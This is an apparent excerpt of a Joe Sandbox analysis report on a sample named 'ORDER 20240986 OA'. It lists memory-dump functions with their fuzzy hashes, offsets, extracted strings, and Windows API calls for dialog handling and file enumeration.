Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d4846540994fa55cf2c472505d88e0b92eaa057f8dc13be75b5b8b66e62684a
Instruction ID: 4a6b895f94cd80ea76390d05ce39249b993b7568007ae69a3d61d7c5047f7e39
Opcode Fuzzy Hash: 7d4846540994fa55cf2c472505d88e0b92eaa057f8dc13be75b5b8b66e62684a
Instruction Fuzzy Hash: A1E06DB4D0420CEFCB40DFA9D4456DDBBF4EB45300F5080A99829A3350E7345A54CF40

Function 00156739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 435ddf7004cc45b364117485752b3ec2666bb05c57d5f46918e622947cf60bcd
Instruction ID: 0d80fd8b4771780449eee98ecce1162df215e41a2f7d92fcb90c9df75dcdb06c
Opcode Fuzzy Hash: 435ddf7004cc45b364117485752b3ec2666bb05c57d5f46918e622947cf60bcd
Instruction Fuzzy Hash: 04E0863140C3864FCB03EBB498D44897F36EF422147194595D4096B667DF742D998F51

Function 001528B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b162d5508ab5883ae187a8734b317c907c2e2df937f13cf2db22dce910a61b29
Instruction ID: 65796c6b09c89dcb44715985316754312f8fafbe344ea9273c532254887c604a
Opcode Fuzzy Hash: b162d5508ab5883ae187a8734b317c907c2e2df937f13cf2db22dce910a61b29
Instruction Fuzzy Hash: 17D05B31D2022B57CB10E7A5DC044EFF738FED6262B544626D51437154FB702659C6E1

Function 001528AB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fc30e989736269f24f2960f3e8d279892f69499e47e3871f74777cdb0ef2980
Instruction ID: fcd790d128d97fff00aef885bec8eb9319ed0c43d0ea09bdb9b40587f62554de
Opcode Fuzzy Hash: 3fc30e989736269f24f2960f3e8d279892f69499e47e3871f74777cdb0ef2980
Instruction Fuzzy Hash: 39D05B35E6022BC6CB11EBA1ED140FDB334BED5222B548617D53437164EB30165DC6A1

Function 3AC94A40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 311e68538ff960cc4dd07e0c4e62a07b105f975a9b66c77b0074897c10eaefcc
Instruction ID: 7308abc28d09e3cbdfcf80f2be3dc0c00245806357fb7874826759d68b356ab9
Opcode Fuzzy Hash: 311e68538ff960cc4dd07e0c4e62a07b105f975a9b66c77b0074897c10eaefcc
Instruction Fuzzy Hash: B6D0C7363441246B4B051B4994098EE7B7ED7C97717048126FD4993300CE794D1297D5

Function 0015D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b494246c3c5ee1b22c82c0cc9c2a886a0d13fc4e7922467d32ca21f9a09470
Instruction ID: e39fee5bf570151b8f35f5318c329e7393ae4166d761e9fa74112a0831ebfc05
Opcode Fuzzy Hash: c3b494246c3c5ee1b22c82c0cc9c2a886a0d13fc4e7922467d32ca21f9a09470
Instruction Fuzzy Hash: 92D04275E04109CBCB24DFA8E8844DCBB71EF89322B60546AD929A7651D63054958F11

Function 0015AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5999cbed7c3737d184992d810b56748e24f66577685eb4a32e492f74bfa5c10
Instruction ID: 09a0fc2ab1c4fc9ddcdfb00d48981d9bb04999d0e7a0c82fc5216d89ffce7b1b
Opcode Fuzzy Hash: b5999cbed7c3737d184992d810b56748e24f66577685eb4a32e492f74bfa5c10
Instruction Fuzzy Hash: 68D0673AB400189FCB149F98EC809DDF776FB98221B148116EA15A3261C7319965DB60

Function 00156748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b052b7a3156f0d662bec78fa483b815d3634de4f0129671f000a5a6085b81799
Instruction ID: 925f6992b44364084da339f20cb1ee25870528b4e8dc80dff8f0255c721d4e8f
Opcode Fuzzy Hash: b052b7a3156f0d662bec78fa483b815d3634de4f0129671f000a5a6085b81799
Instruction Fuzzy Hash: 85C0123040430D4AC505FBA5EC95595773EE7803047409914B00D1766ADFB86DCA5ED1

Non-executed Functions

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C93
GetDlgItem.USER32(?,00000408), ref: 00404C9E
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CE8
LoadBitmapW.USER32(0000006E), ref: 00404CFB
SetWindowLongW.USER32(?,000000FC,00405273), ref: 00404D14
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D28
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D3A
SendMessageW.USER32(?,00001109,00000002), ref: 00404D50
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D5C
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D6E
DeleteObject.GDI32(00000000), ref: 00404D71
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D9C
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404DA8
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E3E
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E69
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E7D
GetWindowLongW.USER32(?,000000F0), ref: 00404EAC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EBA
ShowWindow.USER32(?,00000005), ref: 00404ECB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FC8
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040502D
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405042
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405066
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405086
ImageList_Destroy.COMCTL32(?), ref: 0040509B
GlobalFree.KERNEL32(?), ref: 004050AB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405124
SendMessageW.USER32(?,00001102,?,?), ref: 004051CD
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051DC
InvalidateRect.USER32(?,00000000,?), ref: 004051FC
ShowWindow.USER32(?,00000000), ref: 0040524A
GetDlgItem.USER32(?,000003FE), ref: 00405255
ShowWindow.USER32(00000000), ref: 0040525C

Strings

, xrefs: 00405234
N, xrefs: 00404F06
M, xrefs: 00404E25

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: d51f85f8d95834ec81a3e8aa82d4b0f7780387708cc2f6482410258e2394dffd
Instruction ID: 9d148378a915bf423124f05431c6d1c5c5454a8af56f3bee09cc42272145c63f
Opcode Fuzzy Hash: d51f85f8d95834ec81a3e8aa82d4b0f7780387708cc2f6482410258e2394dffd
Instruction Fuzzy Hash: 59026EB0900209EFEB109F54DD85AAE7BB9FB85314F10817AF610BA2E1D7799E41CF58

Function 07660040 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

PHdq, xrefs: 07660675
LjGp, xrefs: 076603EB
PHdq, xrefs: 07660471
LjGp, xrefs: 076602F3
PHdq, xrefs: 0766057A
LjGp, xrefs: 07660309
LjGp, xrefs: 076604E0
LjGp, xrefs: 076605D8
LjGp, xrefs: 076605EE
PHdq, xrefs: 07660566
LjGp, xrefs: 07660401
LjGp, xrefs: 076604F6
PHdq, xrefs: 07660485
0oGp, xrefs: 0766018F
PHdq, xrefs: 07660379
", xrefs: 07660816
PHdq, xrefs: 07660661
PHdq, xrefs: 0766038D

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: "$0oGp$LjGp$LjGp$LjGp$LjGp$LjGp$LjGp$LjGp$LjGp$PHdq$PHdq$PHdq$PHdq$PHdq$PHdq$PHdq$PHdq
API String ID: 0-1726458773
Opcode ID: 458519697353324da3dcfed572cc7a602d38fb10bb53ed0e1dbd18829b071945
Instruction ID: 48c7dc6a135d226e01c8e9c334016854573aee2ed4bcf6029f9847d0221bcd21
Opcode Fuzzy Hash: 458519697353324da3dcfed572cc7a602d38fb10bb53ed0e1dbd18829b071945
Instruction Fuzzy Hash: 6E3280B4E00219CFDB64CFA9C998BDDBBB2BB89300F1081A9D909A7351DB755E85CF50

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?), ref: 004059D2
lstrcatW.KERNEL32(007A3F28,\*.*,007A3F28,?,?), ref: 00405A1A
lstrcatW.KERNEL32(?,0040A014,?,007A3F28,?,?), ref: 00405A3D
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?), ref: 00405A43
FindFirstFileW.KERNEL32(007A3F28,?,?,?,0040A014,?,007A3F28,?,?), ref: 00405A53
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AF3
FindClose.KERNEL32(00000000), ref: 00405B02

Strings

., xrefs: 00405A64
., xrefs: 00405A78
(?z, xrefs: 00405A02
\*.*, xrefs: 00405A14

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: (?z$.$.$\*.*
API String ID: 2035342205-1515725298
Opcode ID: 055fc45d478fb46821b4c1b9f61a2cf5f882e22ca3136cc8209be43affe2ce83
Instruction ID: 8b5db7531a0f4bb83586dba503ceccc8cbbd7972abfd892cd346515476ce1415
Opcode Fuzzy Hash: 055fc45d478fb46821b4c1b9f61a2cf5f882e22ca3136cc8209be43affe2ce83
Instruction Fuzzy Hash: 7D41D830900918A6CF21AB65CC89ABF7678EF82718F14827FF801B11C1D77C5985DE6E

Function 07660012 Relevance: 12.9, Strings: 10, Instructions: 382COMMON

Download Yara Rule

Strings

PHdq, xrefs: 07660566
PHdq, xrefs: 07660675
PHdq, xrefs: 07660471
PHdq, xrefs: 07660485
PHdq, xrefs: 0766057A
0oGp, xrefs: 0766018F
PHdq, xrefs: 07660379
", xrefs: 07660816
PHdq, xrefs: 07660661
PHdq, xrefs: 0766038D

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: "$0oGp$PHdq$PHdq$PHdq$PHdq$PHdq$PHdq$PHdq$PHdq
API String ID: 0-642543003
Opcode ID: 44b9fc2a4a2e153b2536ddf862c871d2af9ff214815bec5ad4dcb87e66811500
Instruction ID: 9ae051d99021c956b9988a981185fae60cd33fdc5ac11b8e4f1b523b0047d3ea
Opcode Fuzzy Hash: 44b9fc2a4a2e153b2536ddf862c871d2af9ff214815bec5ad4dcb87e66811500
Instruction Fuzzy Hash: 0412C2B4E012188FDB58CFA5C994BDDBBB2BF89300F1081A9D849AB361DB755E85CF50

Function 004065DA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,007A4F70,?,00401676,00000000), ref: 004065E5
FindClose.KERNEL32(00000000,?,00401676,00000000), ref: 004065F1

Strings

pOz, xrefs: 004065DB

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: pOz
API String ID: 2295610775-1820424874
Opcode ID: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction ID: b37c022bec08382a0cb03c9db181d2efdea8b1f21deeb05207148622359d6313
Opcode Fuzzy Hash: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction Fuzzy Hash: EFD01231519020AFC2001B38BD0C84B7A589F463307158B3AB4A6F11E4CB788C6296A9

Function 07660A10 Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

0oGp, xrefs: 07660A7B

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 0oGp
API String ID: 0-2111374174
Opcode ID: 89a2607346fcda80d9e1010dee09d9ea24943f84dc3aab7f5a50a3f38d008ee7
Instruction ID: c097831f8de9251f81b522b398251462fe6e670bc1dc002dd0d0d7ae2cfcc52d
Opcode Fuzzy Hash: 89a2607346fcda80d9e1010dee09d9ea24943f84dc3aab7f5a50a3f38d008ee7
Instruction Fuzzy Hash: 9AB1A474E10218DFDB54DFA9C894A9DBBB2FF89310F1481A9D819AB365DB34AD41CF10

Function 07660A03 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

0oGp, xrefs: 07660A7B

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 0oGp
API String ID: 0-2111374174
Opcode ID: 3a294e32b1f5a105faf7a0e8247cc69dd7102c43ffc03930b6fa36da5f97237d
Instruction ID: 8d13d8dd8ecacd023bc6292ac809b5c0e9bdb4a69729348a2a2bf528d2e6db23
Opcode Fuzzy Hash: 3a294e32b1f5a105faf7a0e8247cc69dd7102c43ffc03930b6fa36da5f97237d
Instruction Fuzzy Hash: F5519775E00608DFDB08CFAAD584ADDBBF2BF89300F249169D419AB365D7349946CF10

Function 07565FD8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86fa84b0c3c378f7354ffe96f182a735264f85c0de64ae0428bc177ddaffa47c
Instruction ID: 1e079bf8df7f2455d8b7001d49e012afd83f74330065d39f42f8eb2bb99e602b
Opcode Fuzzy Hash: 86fa84b0c3c378f7354ffe96f182a735264f85c0de64ae0428bc177ddaffa47c
Instruction Fuzzy Hash: 7DE1ADB4E01218CFDB64CFA9C994B9DBBB2BF89304F1081A9D908B7355DB355A86CF10

Function 0756C150 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cf72dda402b1de301fa17742d1cbc03b5ac64aafcc27cb3895b1067c65819c0
Instruction ID: b96afc60f9ebb5fe52c6397b3267c12b5d91aed8d9628b89f7c3caaee31a7d98
Opcode Fuzzy Hash: 6cf72dda402b1de301fa17742d1cbc03b5ac64aafcc27cb3895b1067c65819c0
Instruction Fuzzy Hash: D7D19E74E01219CFDB14DFA5C994BDDBBB2BB89300F1081A9D409AB355DB35AE85CF50

Function 0756EC58 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1e8bcabd07d5b6fc4bc7c80e2b439ae3bbdcaf29324fdbcee126f46cd7becef
Instruction ID: 6ceeb862a24a30698c012e124593309e7ed024296af4432396d4bc2cc858d893
Opcode Fuzzy Hash: a1e8bcabd07d5b6fc4bc7c80e2b439ae3bbdcaf29324fdbcee126f46cd7becef
Instruction Fuzzy Hash: 50D19D74E01218CFDB54DFA5C994BDDBBB2BB89300F2081A9D409AB355DB359E86CF50

Function 07566B40 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ef3523b32dbeafb8c8ef797503387a1eafc723fc1314f90ffef9c9273cfa1c5
Instruction ID: 13bff9f088f4d985a1b18d2b5d18ef2185d9ee5251206df427f9f18e2641404a
Opcode Fuzzy Hash: 4ef3523b32dbeafb8c8ef797503387a1eafc723fc1314f90ffef9c9273cfa1c5
Instruction Fuzzy Hash: CDD19CB4E01218DFDB14DFA5C994B9DBBB2FB89300F1081A9D409AB355DB35AE86CF50

Function 07569648 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 748317247299a60435bc4b4a5e421cf29c5c774a6400c46afcee0795686c9859
Instruction ID: 48d32f8d00bd023d5d31ff22e75df1c38abf3c0b449e777a4aeb86abfae5e64a
Opcode Fuzzy Hash: 748317247299a60435bc4b4a5e421cf29c5c774a6400c46afcee0795686c9859
Instruction Fuzzy Hash: 80D19D74E01219CFDB54DFA5C994BDDBBB2BB89300F2081A9D409AB355DB34AE85CF50

Function 0756D470 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a288974a9c473d8c3039d1319d676408c3711f91c814262eea6628d6693f36
Instruction ID: 00ce734a11affbfd23bb3cf539f15b54352a0d0652edc772122fcc2f9867907d
Opcode Fuzzy Hash: 34a288974a9c473d8c3039d1319d676408c3711f91c814262eea6628d6693f36
Instruction Fuzzy Hash: D1D19DB4E01218CFDB54DFA5C994BDDBBB2BB89300F1081A9D409AB395DB359E86CF50

Function 07567E60 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 563dfd1f66a562e541c56cab1dde1a0f79dfbe1c3c6be1e6617405759a6a6efb
Instruction ID: 367fad689588713b5fb2123579330f8f5f1f15d703253b7ba842bd51371e0749
Opcode Fuzzy Hash: 563dfd1f66a562e541c56cab1dde1a0f79dfbe1c3c6be1e6617405759a6a6efb
Instruction Fuzzy Hash: DDD1AD74E00218CFDB54DFA5C994BDDBBB2BB89300F1081A9D809AB355DB35AE86CF50

Function 0756A968 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3735dcba7ee98e0312ffc2cc33baa195c9b2ba17161510f26fc9661523976d0
Instruction ID: bca688b558737a04be27293c5a893b6073341c6d854353ae9e06791c5171aa9c
Opcode Fuzzy Hash: c3735dcba7ee98e0312ffc2cc33baa195c9b2ba17161510f26fc9661523976d0
Instruction Fuzzy Hash: D0D1ADB4E01218CFDB54DFA5C994BDDBBB2BB89300F1081A9D409AB355DB359E86CF50

Function 07569B10 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dd35cb7773d66d33971d0d283844b35fba8de8fa7736aaddf44349b9787e713
Instruction ID: 4fa14acc3c41d0b850f5ea63112a19f64be4905d9bf3b4801e4d381350e036c5
Opcode Fuzzy Hash: 0dd35cb7773d66d33971d0d283844b35fba8de8fa7736aaddf44349b9787e713
Instruction Fuzzy Hash: 18D1AC74E01218CFDB54DFA5C994BDDBBB2BB89300F1081A9D809AB355DB35AE86CF50

Function 0756C618 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3db9bc0c0c9f9f0c19e3e849cac8a552957a62ad54de72bef87e7baada8bd384
Instruction ID: c752f05394e1f67c1ece568abbf547f4ae2f7e68745a03e25fc3885bf7a5cbd2
Opcode Fuzzy Hash: 3db9bc0c0c9f9f0c19e3e849cac8a552957a62ad54de72bef87e7baada8bd384
Instruction Fuzzy Hash: 50D19CB4E01218CFDB54DFA5C994BDDBBB2BB89300F1081A9D409AB355DB35AE86CF50

Function 0756DE00 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6208de5735706ee8a665a04c775b1180851a2a25e90dee8adf20825cee7f9c
Instruction ID: 9a6588cdb2544f0806e69025b663a5a26c87b37f00c1c176ddcb09cd9e6db0ef
Opcode Fuzzy Hash: cb6208de5735706ee8a665a04c775b1180851a2a25e90dee8adf20825cee7f9c
Instruction Fuzzy Hash: C0D19CB4E01219CFDB14DFA5C994BDDBBB2BB89300F1081A9D809AB355DB359E86CF50

Function 07567008 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c7eb96ef631a92bd5d4bd27369bd8dd6632ca65fa06fb7996be203e880d23ff
Instruction ID: 2869be0514a2cfcb075ab8b6c86a37a207c29b12669bb3ce0743665cc24ce266
Opcode Fuzzy Hash: 7c7eb96ef631a92bd5d4bd27369bd8dd6632ca65fa06fb7996be203e880d23ff
Instruction Fuzzy Hash: 6ED1ADB4E00218CFDB14DFA5C994BDDBBB2BB89304F2081A9D408AB355DB359E85CF50

Function 0756AE30 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc7c4e7b1b9c75134d759864fa45f7d681ad52719b99bbdef807396745d63790
Instruction ID: 3ec0f0b9327505c60d55ccbc54dc050523977f4daa2c682fa76c64c8522e436d
Opcode Fuzzy Hash: fc7c4e7b1b9c75134d759864fa45f7d681ad52719b99bbdef807396745d63790
Instruction Fuzzy Hash: 35D19DB4E01219CFDB14DFA5C994BDDBBB2BB89300F2081A9D409AB355DB359E86CF50

Function 0756D938 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 020e0bc23c8ef3f3c2488d91de8172c00bd6347fe9023d3cb9e1987bbf805e0a
Instruction ID: 971658ba2465dbae4356089907eb431912602b43475cae1fe4a2f74ed234e4a2
Opcode Fuzzy Hash: 020e0bc23c8ef3f3c2488d91de8172c00bd6347fe9023d3cb9e1987bbf805e0a
Instruction Fuzzy Hash: 0FD1AC74E01219CFDB54DFA5C994BDDBBB2BB89300F1081A9D409AB355DB349E86CF50

Function 0756F120 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c90cfe3e17135ecbf17abc2e80152dc3098ec8ba2500fcc33857c61d59cce1fc
